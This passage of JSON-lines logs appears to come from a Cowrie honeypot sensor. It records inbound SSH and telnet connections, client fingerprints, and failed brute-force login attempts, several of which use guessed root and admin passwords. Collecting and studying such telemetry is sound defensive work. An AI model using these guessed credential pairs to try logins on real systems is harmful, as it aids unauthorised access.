{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:52.996731Z","src_ip":"14.63.196.175","session":"17565885a147","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:53.205074Z","src_ip":"14.63.196.175","session":"17565885a147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"koha","password":"12345","message":"login attempt [koha/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:54.068720Z","src_ip":"14.63.196.175","session":"17565885a147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:55.278702Z","src_ip":"14.63.196.175","session":"17565885a147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":54948,"dst_ip":"159.203.135.109","dst_port":22,"session":"930b7309cd02","protocol":"ssh","message":"New connection: 152.32.214.226:54948 (159.203.135.109:22) [session: 930b7309cd02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:57.311094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:57.315961Z","src_ip":"152.32.214.226","session":"930b7309cd02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:57.537295Z","src_ip":"152.32.214.226","session":"930b7309cd02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234!@#$","message":"login attempt [admin/1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:58.443405Z","src_ip":"152.32.214.226","session":"930b7309cd02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:39:59.662535Z","src_ip":"152.32.214.226","session":"930b7309cd02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":39680,"dst_ip":"10.17.0.5","dst_port":22,"session":"24d9f145f1f7","protocol":"ssh","message":"New connection: 177.85.247.230:39680 (10.17.0.5:22) [session: 24d9f145f1f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:04.201853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:04.209481Z","src_ip":"177.85.247.230","session":"24d9f145f1f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:04.315006Z","src_ip":"177.85.247.230","session":"24d9f145f1f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin#2025","message":"login attempt [root/Admin#2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:04.761578Z","src_ip":"177.85.247.230","session":"24d9f145f1f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":57642,"dst_ip":"10.17.0.5","dst_port":22,"session":"5895ff20181d","protocol":"ssh","message":"New connection: 103.153.68.219:57642 (10.17.0.5:22) [session: 5895ff20181d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:05.818840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:05.823162Z","src_ip":"103.153.68.219","session":"5895ff20181d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:05.868910Z","src_ip":"177.85.247.230","session":"24d9f145f1f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:06.085606Z","src_ip":"103.153.68.219","session":"5895ff20181d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qwerty7","message":"login attempt [root/1qwerty7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:06.871201Z","src_ip":"103.153.68.219","session":"5895ff20181d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:08.143815Z","src_ip":"103.153.68.219","session":"5895ff20181d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57714,"dst_ip":"159.203.135.109","dst_port":23,"session":"a33e7f6a0f44","protocol":"telnet","message":"New connection: 128.199.8.54:57714 (159.203.135.109:23) [session: a33e7f6a0f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:11.786284Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":52720,"dst_ip":"10.17.0.5","dst_port":22,"session":"48b3cb4227c3","protocol":"ssh","message":"New connection: 163.7.9.84:52720 (10.17.0.5:22) [session: 48b3cb4227c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:17.765392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:17.779405Z","src_ip":"163.7.9.84","session":"48b3cb4227c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:18.039189Z","src_ip":"163.7.9.84","session":"48b3cb4227c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bit","password":"bit","message":"login attempt [bit/bit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:19.095833Z","src_ip":"163.7.9.84","session":"48b3cb4227c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:20.353323Z","src_ip":"163.7.9.84","session":"48b3cb4227c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00462651252747,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:29.873825Z","src_ip":"94.23.66.112","session":"0b1b10fea8c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":46084,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cd2b215a031","protocol":"ssh","message":"New connection: 181.188.176.242:46084 (10.17.0.5:22) [session: 4cd2b215a031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:42.637133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:42.641622Z","src_ip":"181.188.176.242","session":"4cd2b215a031","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:42.804356Z","src_ip":"181.188.176.242","session":"4cd2b215a031","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@123...","message":"login attempt [root/Abc@123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:43.488018Z","src_ip":"181.188.176.242","session":"4cd2b215a031","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:44.652940Z","src_ip":"181.188.176.242","session":"4cd2b215a031","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":60460,"dst_ip":"159.203.135.109","dst_port":22,"session":"f948d7bb9155","protocol":"ssh","message":"New connection: 46.19.67.181:60460 (159.203.135.109:22) [session: f948d7bb9155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:45.500518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:45.507254Z","src_ip":"46.19.67.181","session":"f948d7bb9155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:45.623822Z","src_ip":"46.19.67.181","session":"f948d7bb9155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bantik","message":"login attempt [root/bantik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:45.978771Z","src_ip":"46.19.67.181","session":"f948d7bb9155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:47.099128Z","src_ip":"46.19.67.181","session":"f948d7bb9155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.250998735427856,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:40:49.037159Z","src_ip":"128.199.8.54","session":"a33e7f6a0f44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":50180,"dst_ip":"10.17.0.5","dst_port":22,"session":"095f27780292","protocol":"ssh","message":"New connection: 27.71.230.31:50180 (10.17.0.5:22) [session: 095f27780292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:00.149559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:00.444745Z","src_ip":"27.71.230.31","session":"095f27780292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:00.449080Z","src_ip":"27.71.230.31","session":"095f27780292","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password7","message":"login attempt [root/Password7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:07.821159Z","src_ip":"27.71.230.31","session":"095f27780292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:12.079339Z","src_ip":"27.71.230.31","session":"095f27780292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5844,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7b562308fc3","protocol":"ssh","message":"New connection: 196.188.93.169:5844 (10.17.0.5:22) [session: f7b562308fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:29.545904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:29.550863Z","src_ip":"196.188.93.169","session":"f7b562308fc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha51